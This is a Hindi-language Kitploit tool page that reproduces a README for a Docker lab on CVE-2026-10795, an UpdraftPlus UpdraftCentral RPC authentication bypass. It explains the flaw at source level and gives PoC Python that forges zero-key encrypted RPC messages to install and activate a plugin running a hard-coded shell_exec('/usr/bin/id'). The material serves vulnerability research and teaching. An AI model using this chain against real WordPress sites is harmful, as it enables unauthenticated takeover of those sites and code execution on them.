Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-10795-Lab | Kitploit
उपकरण/GitHubGitHub/rootdirective-sec/cve-2026-10795-lab
प्रमाणीकरण और प्राधिकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubrootdirective-sec/cve-2026-10795-lab

CVE-2026-10795-Lab

रिपॉजिटरी देखें
2 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE Lab: CVE-2026-10795 - UpdraftPlus UpdraftCentral RPC प्रमाणीकरण बायपास को प्लगइन इंस्टॉलेशन से जोड़ना

कार्यकारी सारांश

इस रिपॉजिटरी में CVE-2026-10795 को पुनः उत्पन्न करने और मान्य करने के लिए एक स्थानीय Docker लैब है, जो UpdraftPlus WordPress प्लगइन को उसके UpdraftCentral रिमोट संचार परत के माध्यम से प्रभावित करने वाली एक अनप्रमाणित प्रमाणीकरण बायपास भेद्यता है।

कमजोर व्यवहार UpdraftCentral RPC संदेश हैंडलिंग प्रवाह में मौजूद है। कमजोर संस्करणों में, एक गढ़ा हुआ format=1 RPC संदेश हस्ताक्षर सत्यापन को बायपास कर सकता है, एक विफल RSA डिक्रिप्ट पथ को ट्रिगर कर सकता है, और फिर भी एक पूर्वानुमेय null key/null IV व्यवहार के साथ सममित डिक्रिप्शन तक पहुँच सकता है। यह एक क्राफ्टेड एन्क्रिप्टेड RPC संदेश को UpdraftCentral कमांड के रूप में स्वीकार और डिस्पैच किए जाने की अनुमति देता है।

यह लैब दो UpdraftPlus संस्करणों की तुलना करता है:

ServiceUpdraftPlus संस्करणउद्देश्यURL
vuln1.26.4कमजोर तुलना लक्ष्यhttp://127.0.0.1:8081
patched1.26.5पैच किया गया तुलना लक्ष्यhttp://127.0.0.1:8082

प्रदर्शित श्रृंखला है:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint

root@kitploit:~
प्राथमिक भेद्यता authentication bypass है। लैब दर्शाता है कि जब एक privileged UpdraftCentral key state मौजूद होता है, तो bypass को RCE-शैली प्रभाव के साथ जोड़ा जा सकता है, क्योंकि UpdraftCentral वैध plugin प्रबंधन कमांड उजागर करता है जो WordPress प्लगइन्स को install और activate कर सकते हैं।

यह प्रत्यक्ष command injection भेद्यता नहीं है। Code execution प्रमाण RPC authentication सीमा को बायपास करने के बाद authenticated plugin installation कार्यक्षमता का दुरुपयोग करने से प्राप्त होता है।

यह लैब केवल नियंत्रित स्थानीय शोध, source-level समझ और portfolio प्रदर्शन के लिए डिज़ाइन किया गया है।

## सत्यापित तथ्य

| दावा                                                                  | साक्ष्य                                                                                              | इस लैब में कैसे सत्यापित करें                                          |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| UpdraftPlus 1.26.4 इस लैब में कमजोर है।                          | कमजोर सेवा नकली `format=1` RPC संदेश स्वीकार करती है और `plugin.upload_plugin` dispatch करती है। | `python3 poc/poc.py --url http://127.0.0.1:8081` चलाएँ।              |
| UpdraftPlus 1.26.5 इस लैब में नकली संदेश को ब्लॉक करता है।              | पैच की गई सेवा कोई RPC response body नहीं लौटाती और नकली कमांड को dispatch नहीं करती।            | `python3 poc/poc.py --url http://127.0.0.1:8082` चलाएँ।              |
| यह मुद्दा UpdraftCentral RPC परत में authentication bypass है। | कमजोर संस्करण में एक नकली unauthenticated RPC अनुरोध command dispatch तक पहुँच सकता है।            | पोर्ट `8081` और `8082` के बीच `--ping` व्यवहार की तुलना करें।         |
| लैब marker प्लगइन को पहले से install नहीं करता।                        | सेटअप केवल WordPress, UpdraftPlus और एक स्थानीय UpdraftCentral key state install करता है।                 | PoC चलाने से पहले `/wp-json/cve-lab/v1/id` जाँचें।             |
| PoC नकली RPC के माध्यम से marker प्लगइन install करता है।                 | PoC RPC data फ़ील्ड में ZIP plugin payload के साथ `plugin.upload_plugin` भेजता है।                 | PoC चलाएँ और फिर `/wp-json/cve-lab/v1/id` का अनुरोध करें।             |
| कमजोर target RCE-शैली प्रभाव तक पहुँचता है।                        | marker प्लगइन एक hard-coded endpoint उजागर करता है जो `/usr/bin/id` आउटपुट लौटाता है।                    | कमजोर target `uid=33(www-data) gid=33(www-data)` लौटाता है। |
| पैच किया गया target marker प्लगइन install नहीं करता।                 | marker endpoint पैच की गई सेवा पर `404 rest_no_route` लौटाता है।                               | `http://127.0.0.1:8082` के विरुद्ध PoC चलाएँ।                       |
| लैब को UpdraftCentral key state की आवश्यकता होती है।                          | UpdraftCentral dispatch एक स्थानीय key entry और संबंधित मेटाडेटा पर निर्भर करता है।                         | `scripts/setup-wordpress.sh` की समीक्षा करें।                   |

## धारणाएँ और अज्ञात बातें

यह लैब जानबूझकर एक स्थानीय UpdraftCentral key state seed करता है ताकि उस साइट स्थिति को reproduce किया जा सके जहाँ remote control कॉन्फ़िगर किया गया है।

Seed किया गया key state लैब की पूर्व-आवश्यकता है, स्वयं भेद्यता नहीं। यह लैब को कमजोर RPC parsing और decryption पथ को लगातार exercise करने की अनुमति देता है।

लैब यह दावा नहीं करता कि हर UpdraftPlus installation तुरंत exploitable है। प्रदर्शित श्रृंखला एक UpdraftCentral स्थानीय key entry की उपस्थिति पर निर्भर करती है जो एक privileged WordPress उपयोगकर्ता से संबद्ध है।

लैब एक hard-coded `/usr/bin/id` proof endpoint उजागर करने वाले marker प्लगइन को install करके एक नियंत्रित RCE-शैली प्रभाव प्रदर्शित करता है। यह सामान्य web shell, arbitrary command execution parameter, reverse shell, persistence mechanism, credential theft या external callback प्रदान नहीं करता।

PoC केवल स्थानीय targets तक सीमित है और डिफ़ॉल्ट रूप से non-local hostnames को अस्वीकार करता है।

## मूल कारण सारांश

मूल कारण UpdraftPlus के कमजोर संस्करणों में UpdraftCentral RPC संदेशों का अनुचित सत्यापन है।

कमजोर RPC प्रवाह एक `format=1` संदेश स्वीकार करता है। `format=1` पथ को नए संदेश प्रारूपों जैसी signature verification की आवश्यकता नहीं होती।

उच्च-स्तरीय समस्या है:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched

असुरक्षित व्यवहार में, RSA डिक्रिप्शन वापस कर सकता है:```text false

root@kitploit:~
असफल डिक्रिप्ट परिणाम को अस्वीकार करने के बजाय, कमजोर प्रवाह जारी रहता है और मान को सममित डिक्रिप्शन परत में पास कर देता है।

प्रभावी कमजोर पैटर्न है:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);

समस्या यह है कि $sym_key का उपयोग करने से पहले इसे मान्य नहीं किया जाता।

जब $sym_key false होता है, तो cipher सेटअप एक अनुमानित null key/null IV व्यवहार का अनुसरण करता है। इससे ज्ञात शून्य key और शून्य IV का उपयोग करके एक एन्क्रिप्टेड RPC payload तैयार करना संभव हो जाता है।

पैच किया गया संस्करण symmetric key का उपयोग करने से पहले एक गार्ड जोड़ता है:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
यह विश्वास सीमा को बदलता है।

पैच से पहले:```text
failed RSA decrypt result could still reach symmetric decrypt

पैच के बाद:```text failed RSA decrypt result is rejected before command dispatch

root@kitploit:~
यही कारण है कि कमजोर सेवा जाली RPC कमांड भेजती है, जबकि पैच की गई सेवा नहीं भेजती।

## एक प्रमाणीकरण बाईपास कोड निष्पादन की ओर कैसे ले जा सकता है

CVE-2026-10795 को सबसे अच्छा एक प्रमाणीकरण बाईपास के रूप में वर्णित किया जा सकता है, क्योंकि मूल दोष RPC प्रमाणीकरण और संदेश सत्यापन परत में है।

हालाँकि, उस प्रमाणीकरण सीमा को बायपास करने के बाद, हमलावर-नियंत्रित RPC संदेश विशेषाधिकार प्राप्त UpdraftCentral कमांड तक पहुँच सकता है।

एक महत्वपूर्ण कमांड पथ है:```text
plugin.upload_plugin

यह कमांड UpdraftCentral के प्लगइन प्रबंधन कार्यक्षमता का हिस्सा है। यह एक प्लगइन ZIP पेलोड स्वीकार करता है, उसे अस्थायी स्थान पर लिखता है, प्लगइन इंस्टॉल करता है, और अनुरोध किए जाने पर उसे सक्रिय करता है।

इसलिए प्रभाव श्रृंखला है:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution

root@kitploit:~
यह कमांड इंजेक्शन नहीं है।

लैब एक मार्कर प्लगइन स्थापित करके कोड निष्पादन प्रदर्शित करता है जो एक एकल एंडपॉइंट उजागर करता है:```text
/wp-json/cve-lab/v1/id

मार्कर प्लगइन कमांड पैरामीटर स्वीकार नहीं करता है। यह केवल चलता है:```text /usr/bin/id

root@kitploit:~
यह प्रमाण को नियंत्रित रखता है और लैब को सामान्य-उद्देश्य वाले वेब शेल में बदलने से बचाता है।

## स्रोत पैच सारांश

प्रासंगिक पैच व्यवहार यह है कि पैच किया गया संस्करण RPC संदेश निकाय को डिक्रिप्ट करने का प्रयास करने से पहले अमान्य सममित कुंजियों को अस्वीकार कर देता है।

महत्वपूर्ण सत्यापन यह है:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

यह कमजोर फॉलबैक व्यवहार को रोकता है जहाँ एक विफल RSA डिक्रिप्ट परिणाम एक अनुमानित सममित कुंजी पथ बन सकता है।

व्यावहारिक परिणाम यह है:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch

UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached

root@kitploit:~
लैब वास्तविक UpdraftCentral प्लगइन अपलोड कमांड पथ को लक्षित करके डाउनस्ट्रीम प्रभाव को भी सत्यापित करता है।

प्रासंगिक कमांड व्यवहार है:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()

पैच किया गया संस्करण इस कमांड पथ तक पहुंचने से पहले ही जाली संदेश को ब्लॉक कर देता है।

स्रोत-स्तरीय वॉकथ्रू

यह अनुभाग स्रोत-कोड स्तर पर कमजोर पथ की व्याख्या करता है और प्रत्येक PoC चरण को संबंधित UpdraftPlus / UpdraftCentral व्यवहार से मैप करता है।

लैब किसी नकली कमजोर एप्लिकेशन रूट पर निर्भर नहीं करती। कमजोर व्यवहार वास्तविक UpdraftCentral RPC लिसनर और वास्तविक UpdraftCentral प्लगइन-प्रबंधन कमांड पथ के माध्यम से पहुंचा जाता है।

महत्वपूर्ण स्रोत क्षेत्र हैं:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php

root@kitploit:~
### श्रोता निर्माण

कमजोर RPC पथ तब शुरू होता है जब WordPress एक POST अनुरोध प्राप्त करता है जिसमें शामिल होता है:```text
udrpc_message
format
key_name

RPC लाइब्रेरी उन POST फ़ील्ड्स के मौजूद होने पर WordPress wp_loaded पर एक लिसनर पंजीकृत करती है।

संकल्पनात्मक रूप से, प्रवाह इस प्रकार है:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }

root@kitploit:~
इसका मतलब है कि हमलावर को किसी विशेष REST एंडपॉइंट या एडमिन URL जानने की आवश्यकता नहीं है। नकली RPC अनुरोध WordPress साइट रूट पर एक सामान्य POST अनुरोध के रूप में भेजा जाता है।

PoC भेजता है:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>

मुख्य नाम मिलान

UpdraftCentral स्थानीय रिमोट-कंट्रोल कुंजियों को WordPress विकल्पों में संग्रहीत करता है। इस लैब में, सेटअप स्क्रिप्ट कमजोर और पैच किए गए दोनों लक्ष्यों के लिए एक नियंत्रित कुंजी स्थिति सीड करती है।

प्रासंगिक कुंजी नाम है:```text 0.central.updraftplus.com

root@kitploit:~
यह प्रारूप UpdraftCentral के मुख्य संकेतक तर्क द्वारा उत्पन्न किया जाता है:```php
private function indicator_name_from_index($index) {
    return $index.'.central.updraftplus.com';
}

लिस्टनर केवल तभी जारी रहता है जब अनएन्क्रिप्टेड POST फ़ील्ड अपेक्षित कुंजी संकेतक से मेल खाता है:```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }

root@kitploit:~
इसलिए PoC निम्नलिखित सेट करता है:```python
KEY_NAME = "0.central.updraftplus.com"

यह भेद्यता नहीं है। यह एक प्रयोगशाला पूर्वापेक्षा है जो परीक्षण को भेद्य RPC पार्सिंग और डिक्रिप्शन पथ को पुनरुत्पादक तरीके से अभ्यास करने देती है।

फ़ॉर्मेट हैंडलिंग और सिग्नेचर बाईपास

UpdraftCentral संदेश प्रारूपों का समर्थन करता है। महत्वपूर्ण अंतर यह है:```text format=1 legacy path format=2 signed message path

root@kitploit:~
कमजोर कोड पथ में, सिग्नेचर सत्यापन केवल तब होता है जब प्रारूप 2 से अधिक या बराबर होता है:```php
if ($format >= 2) {
    if (empty($_POST['signature'])) {
        die;
    }

    if (!$this->key_remote) {
        die;
    }

    if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
        die;
    }
}

क्योंकि PoC उपयोग करता है:```text format=1

root@kitploit:~
इस signature verification ब्लॉक को छोड़ दिया जाता है।

यही authentication bypass की सीमा है।

एक वैध `format=2` message में valid signature होने की अपेक्षा की जाती है। जाली `format=1` message को signature की आवश्यकता नहीं होती, इसलिए attacker-controlled message decrypt path तक आगे बढ़ सकता है।

### कमजोर Decryption प्रवाह

फ़ॉर्मेट और key-name जाँच के बाद, listener प्रस्तुत `udrpc_message` को decrypt करता है।

UpdraftPlus 1.26.4 में कमजोर decryption प्रवाह प्रभावी रूप से इस प्रकार है:```php
$rsa->loadKey($this->key_local);

$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);

$rij->setKey($sym_key);

return $rij->decrypt($ciphertext);

यह बग इन दो ऑपरेशनों के बीच है:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);

root@kitploit:~
यदि RSA डिक्रिप्शन विफल हो जाता है, तो `$rsa->decrypt()` लौटा सकता है:```php
false

कमजोर संस्करण उस मान को इसमें पास करने से पहले अस्वीकार नहीं करता:```php $rij->setKey($sym_key);

root@kitploit:~
पैच किया गया संस्करण सत्यापन जोड़कर इसे ठीक करता है:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

यह गार्ड सुरक्षा-संबंधी पैच है। यह एक विफल RSA डिक्रिप्ट परिणाम को सममित सिफर सेटअप तक पहुँचने से रोकता है।

क्यों false पूर्वानुमानित हो जाता है

यह कमजोर व्यवहार खतरनाक है क्योंकि इस phpseclib पथ में setKey(false) सुरक्षित रूप से विफल नहीं होता है।

सिफर कोड प्रदान की गई कुंजी से कुंजी लंबाई की गणना करता है:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;

root@kitploit:~
जब `$key` `false` होता है, `strlen(false)` शून्य-लंबाई वाली कुंजी के मामले की तरह व्यवहार करता है।

Rijndael कुंजी-लंबाई तर्क बहुत छोटे कुंजी आकारों को वैध न्यूनतम कुंजी लंबाई तक बढ़ा देता है:```php
case $length <= 128:
    $this->key_length = 16;
    break;

सिफर सेटअप फिर कुंजी और IV को नल बाइट्स से पैड करता है:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");

$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");

root@kitploit:~
तो हमलावर कमजोर डिक्रिप्ट व्यवहार को इस प्रकार मॉडल कर सकता है:```text
AES/Rijndael-CBC
key = 16 null bytes
iv  = 16 null bytes

यही कारण है कि PoC एक JSON RPC कमांड को स्थानीय रूप से एन्क्रिप्ट कर सकता है और कमजोर लक्ष्य से इसे सफलतापूर्वक डिक्रिप्ट करवा सकता है।

PoC द्वारा उपयोग की जाने वाली संदेश संरचना

कमजोर डिक्रिप्ट फ़ंक्शन अपेक्षा करता है कि एन्क्रिप्टेड संदेश में शामिल हो:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body

root@kitploit:~
PoC इस संरचना को मैन्युअल रूप से बनाता है:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")

sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

RSA ब्लॉक जानबूझकर अमान्य है:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

root@kitploit:~
UpdraftPlus 1.26.4 पर, वह अमान्य RSA ब्लॉक RSA डिक्रिप्शन को विफल कर देता है, लेकिन विफलता को अस्वीकार नहीं किया जाता है।

UpdraftPlus 1.26.5 पर, विफल डिक्रिप्शन परिणाम नए गार्ड द्वारा अस्वीकार कर दिया जाता है और जाली संदेश कमांड डिस्पैच तक नहीं पहुँचता है।

### आंतरिक JSON RPC संदेश

एन्क्रिप्टेड आंतरिक संदेश UpdraftCentral-शैली का एक सामान्य JSON कमांड है।

पिंग सत्यापन के लिए, PoC निम्नलिखित का उपयोग करता है:```json
{
  "command": "ping",
  "time": 1710000000,
  "key_name": "0.central.updraftplus.com",
  "rand": 123456
}

डिफ़ॉल्ट ID प्रमाण के लिए, PoC निम्नलिखित का उपयोग करता है:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }

root@kitploit:~
`key_name` एन्क्रिप्टेड संदेश के बाहर और अंदर दोनों जगह दिखाई देता है। listener जाँचता है कि दोनों मेल खाते हैं:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
    die;
}

इसीलिए PoC में दोनों स्थानों पर एक ही कुंजी नाम शामिल होना चाहिए।

डिस्पैच से पहले JSON सत्यापन

संदेश को डिक्रिप्ट करने के बाद, लिसनर इसे JSON के रूप में पार्स करता है:```php $udrpc_message = json_decode($udrpc_message, true);

root@kitploit:~
संदेश में एक मान्य कमांड होना चाहिए:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
    die;
}

इसमें एक टाइमस्टैम्प भी होना चाहिए:```php if (empty($udrpc_message['time'])) { die; }

root@kitploit:~
टाइमस्टैम्प अनुमत रीप्ले विंडो के भीतर होना चाहिए:```php
$time_difference = absint($udrpc_message['time'] - time());

if ($time_difference > $this->maximum_replay_time_difference) {
    die;
}

The PoC इसलिए आंतरिक time फ़ील्ड को वर्तमान समय पर सेट करता है।

Command Dispatch

संदेश को डिक्रिप्ट और मान्य किए जाने के बाद, UpdraftCentral कमांड को डिस्पैच करता है।

कमांड एक उपसर्ग प्रारूप का उपयोग करते हैं:```text .

root@kitploit:~
उदाहरण के लिए:```text
plugin.upload_plugin

यह बन जाता है:```text prefix = plugin method = upload_plugin

root@kitploit:~
लिस्नर उपसर्ग से कमांड क्लास को रिज़ॉल्व करता है और फिर मेथड को डायनैमिक रूप से कॉल करता है:```php
$msg = apply_filters(
    'updraftcentral_listener_udrpc_action',
    call_user_func(array($command_class, $command), $data, $extra_info),
    $command_class,
    $class_prefix,
    $command,
    $data,
    $extra_info
);

PoC कमांड के लिए:```text plugin.upload_plugin

root@kitploit:~
लिसनर कॉल करता है:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)

इसीलिए PoC को सीधे कमांड-इंजेक्शन सिंक की आवश्यकता नहीं होती है। यह RPC प्रमाणीकरण सीमा को दरकिनार करने के बाद एक वैध विशेषाधिकार प्राप्त UpdraftCentral कमांड तक पहुँचता है।

उपयोगकर्ता संदर्भ और क्षमता जाँच

लिसनर UpdraftCentral कुंजी मेटाडेटा से वर्तमान WordPress उपयोगकर्ता सेट कर सकता है:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }

root@kitploit:~
इस लैब में, सीडेड की (seeded key) में निम्नलिखित है:```text
extra_info.user_id = 1

यह एक कॉन्फ़िगर किए गए UpdraftCentral कुंजी का अनुकरण करता है जो WordPress सेटअप के दौरान बनाए गए व्यवस्थापक उपयोगकर्ता से संबद्ध है।

यह महत्वपूर्ण है क्योंकि प्लगइन अपलोड पथ WordPress capabilities की जाँच करता है:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }

root@kitploit:~
तो अकेला बायपास नकली कमांड को RPC परत में पहुंचा देता है। सीडेड कुंजी मेटाडेटा यह निर्धारित करता है कि कमांड किस WordPress उपयोगकर्ता संदर्भ में चलती है।

इस लैब में, कमांड एडमिन संदर्भ में चलती है क्योंकि कुंजी उपयोगकर्ता ID 1 से संबद्ध है।

### Plugin Upload Sink

कमांड विधि है:```php
public function upload_plugin($params) {
    return $this->process_chunk_upload($params, 'plugin');
}

साझा अपलोड हैंडलर प्लगइन अपलोड डेटा की अपेक्षा करता है:```text filename data activate

root@kitploit:~
PoC भेजता है:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

अपलोड हैंडलर ZIP सामग्री को एक अस्थायी फ़ाइल में लिखता है:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );

root@kitploit:~
गैर-चंक्ड अपलोड के लिए, स्थापना तुरंत आगे बढ़ती है:```php
$install_now = true;

हैंडलर फिर एक ZIP पथ बनाता है:```php $zip_filepath = $upload_dir.'/'.$filename;

root@kitploit:~
और इसे UpdraftCentral प्लगइन अपग्रेडर का उपयोग करके इंस्टॉल करता है:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);

यदि इंस्टॉलेशन सफल होता है और activate true है, तो कोड इंस्टॉल किए गए प्लगइन को सक्रिय करता है:```php if ((bool) $params['activate'] && !$is_active) { $activate = activate_plugin($data['slug']); }

root@kitploit:~
एक सफल इंस्टॉल प्रतिक्रिया में निम्नलिखित शामिल है:```php
return $this->_response(
    array(
        'installed' => true,
        'installed_data' => $data,
    )
);

यह स्रोत-स्तरीय कारण है कि एक जाली RPC प्रमाणीकरण बायपास को WordPress प्लगइन इंस्टॉलेशन और सक्रियण के साथ क्यों जोड़ा जा सकता है।

मार्कर प्लगइन

मार्कर प्लगइन PoC द्वारा मेमोरी में उत्पन्न किया जाता है। यह Docker सेटअप द्वारा पहले से इंस्टॉल नहीं होता है।

उत्पन्न ZIP में शामिल है:```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php

root@kitploit:~
मार्कर प्लगइन एक REST रूट पंजीकृत करता है:```text
/wp-json/cve-lab/v1/id

एंडपॉइंट निम्न लौटाता है:```text lab plugin proof uid gid user id_output

root@kitploit:~
मार्कर प्लगइन द्वारा निष्पादित एकमात्र कमांड हार्ड-कोडेड है:```php
shell_exec('/usr/bin/id 2>&1');

There is no user-controlled cmd parameter.

यह जानबूझकर है। प्रयोगशाला एक सामान्य वेब शेल से बचते हुए प्लगइन-कोड निष्पादन को सिद्ध करती है।

पैच किया गया लक्ष्य 404 क्यों लौटाता है

पैच की गई सेवा को वही जाली अनुरोध प्राप्त होता है और उसकी सीड की गई कुंजी स्थिति समान होती है।

अंतर पैच किए गए डिक्रिप्ट गार्ड में है:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
चूँकि PoC जानबूझकर एक अमान्य RSA ब्लॉक प्रदान करता है, डिक्रिप्ट की गई सममित कुंजी अमान्य है।

UpdraftPlus 1.26.5 में, जाली संदेश JSON पार्सिंग से पहले और कमांड डिस्पैच से पहले रुक जाता है।

इसलिए:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route

यह पैच किया गया व्यवहार सिद्ध करता है कि लैब परिणाम कमजोर UpdraftPlus RPC कोड पथ पर निर्भर करता है, न कि Docker हैरनेस पर।

PoC से स्रोत मैपिंग

PoC कोड का भेद्यता से मैपिंग

PoC की शुरुआत गैर-लोकल लक्ष्यों को अस्वीकार करने से होती है:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}

if host not in allowed_hosts: raise ValueError("Refusing non-local target")

root@kitploit:~
यह स्क्रिप्ट को Docker लैब तक सीमित रखता है।

PoC आंतरिक RPC संदेश बनाता है:```python
inner = {
    "command": command,
    "time": int(time.time()),
    "key_name": KEY_NAME,
    "rand": random.randint(1, 2_147_483_647),
}

यदि डिफ़ॉल्ट ID प्रमाण का उपयोग किया जाता है, तो कमांड है:```python command = "plugin.upload_plugin"

root@kitploit:~
और डेटा है:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

PoC फिर आंतरिक JSON को पूर्वानुमानित कमजोर सिफर अवस्था के साथ एन्क्रिप्ट करता है:```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16

cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))

root@kitploit:~
यह `false` को सममित सिफर सेटअप में पारित करने के संवेदनशील परिणाम से मेल खाता है।

PoC जानबूझकर एक खराब RSA ब्लॉक का उपयोग करता है:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

परिणामी udrpc_message उसी लंबाई-उपसर्ग प्रारूप में बनाया गया है जिसकी RPC डिक्रिप्ट फ़ंक्शन अपेक्षा करता है:```python sym_key_len = f"{len(bad_sym_key_b64):03x}" ciphertext_len = f"{len(ciphertext_b64):016x}"

return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

root@kitploit:~
अंत में, PoC नकली RPC अनुरोध भेजता है:```python
fields = {
    "format": "1",
    "key_name": KEY_NAME,
    "udrpc_message": build_udrpc_message(command, data),
}

requests.post(target, data=fields, timeout=timeout)

कमजोर लक्ष्य पर, सर्वर प्रतिक्रिया में एक मान्य RPC-शैली JSON प्रतिक्रिया निकाय होता है। PoC इसे इस प्रकार मानता है:```text RPC DISPATCHED

root@kitploit:~
डिस्पैच के बाद, PoC मार्कर एंडपॉइंट का अनुरोध करके प्रभाव की पुष्टि करता है:```text
GET /wp-json/cve-lab/v1/id

यदि मार्कर प्लगइन स्थापित और सक्रिय किया गया था, तो एंडपॉइंट वापस लौटाता है:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~
वह आउटपुट सिद्ध करता है कि जाली अप्रमाणित RPC संदेश एक विशेषाधिकार प्राप्त प्लगइन स्थापना पथ तक पहुँचा और स्थानीय लैब के अंदर हमलावर द्वारा आपूर्ति किए गए प्लगइन कोड को सक्रिय कर दिया।

## लैब क्या सिद्ध करता है

यह लैब निम्नलिखित तकनीकी श्रृंखला को सिद्ध करता है:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.

यह लैब यह सिद्ध नहीं करता कि प्रत्येक इंस्टॉलेशन बिना पूर्वापेक्षाओं के शोषण योग्य है।

इस प्रदर्शन के लिए आवश्यक पूर्वापेक्षा है:```text an existing UpdraftCentral local key state associated with a privileged WordPress user

root@kitploit:~
Docker सेटअप दोनों लक्ष्यों में वह पूर्वापेक्षा बनाता है ताकि कमजोर और पैच किए गए व्यवहार के बीच अंतर का उचित परीक्षण किया जा सके।

## प्रयोगशाला आर्किटेक्चर

लैब Docker Compose के माध्यम से दो पृथक WordPress इंस्टॉलेशन चलाता है।```text
.
├── docker-compose.yml
├── scripts/
│   └── setup-wordpress.sh
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
